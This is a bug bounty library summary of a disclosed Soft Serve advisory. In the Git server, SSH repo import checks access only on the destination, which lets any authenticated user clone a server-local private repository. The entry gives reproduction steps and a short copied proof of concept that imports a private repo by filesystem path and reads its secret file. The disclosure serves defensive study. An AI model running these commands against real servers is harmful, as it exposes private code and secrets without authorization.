# In Soft Serve, an authenticated repo import can clone server-local private repositories

Soft Serve's repo import authorized only the destination name, letting any authenticated SSH user clone a server-local private bare repo into their own repo.

- Payout: Research
- Severity: high
- Program: Soft Serve
- Found by: evnsh
- Disclosed: 2026-03-19
- CVE: CVE-2026-33353
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-xgxp-f695-6vrp
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-xgxp-f695-6vrp
- Tags: area:cloud domain:infra impact:data-leak kind:research platform:ghsa sev:high tech:go technique:source-review vuln:access-control vuln:auth-bypass vuln:info-disclosure

**Target:** SSH repo import command in Soft Serve Git server
**Root cause:** Import checks authorization only for the destination repo name (auto-granting ReadWriteAccess to new repos) and passes the user-controlled REMOTE into git.Clone without validating it is a network remote, so a server filesystem path is cloned locally.
**Steps:**
1. Admin creates private repo: `soft repo create secret -p`
2. Create low-priv user: `soft user create user1 --key "$USER1_AUTHORIZED_KEY"`
3. Seed secret content into private repo via git push
4. Confirm low-priv user denied: `usoft repo info secret` returns `Error: repository not found`
5. As low-priv user: `usoft repo import stolen "$DATA_PATH/repos/secret.git" --lfs-endpoint http://example.com`
6. Clone imported repo: `ugit clone ssh://localhost:$SSH_PORT/stolen stolen-clone` and read `SECRET.txt`
**How found:** Code review of the import flow: noticed authorization at cmd.go:172/user.go:46 covers only the destination, and repo.go:102 passes user-controlled REMOTE to git.Clone without checking it is a network remote.
**Exploitation:** Any authenticated SSH user runs repo import with the server-local bare repo path as REMOTE; the server clones its own private repo into a new attacker-owned repo, which the attacker then clones to read secrets.
**Insight:** When a feature accepts a remote URL, test whether server-local filesystem paths are accepted; destination-side authorization checks don't cover the source, so a local path can bypass repo-level access control.

## Proof of concept (copied exactly from the original report)

**Import server-local private repo as low-priv user**

```
usoft repo import stolen "$DATA_PATH/repos/secret.git" --lfs-endpoint http://example.com
```

**Clone stolen repo and read secret**

```
ugit clone ssh://localhost:$SSH_PORT/stolen stolen-clone
cat stolen-clone/SECRET.txt
```

**Seed private repo with secret content**

```
git clone ssh://localhost:$SSH_PORT/secret secret
echo 'top secret' > secret/SECRET.txt
git -C secret add SECRET.txt
git -C secret commit -m 'first'
git -C secret push origin HEAD
```

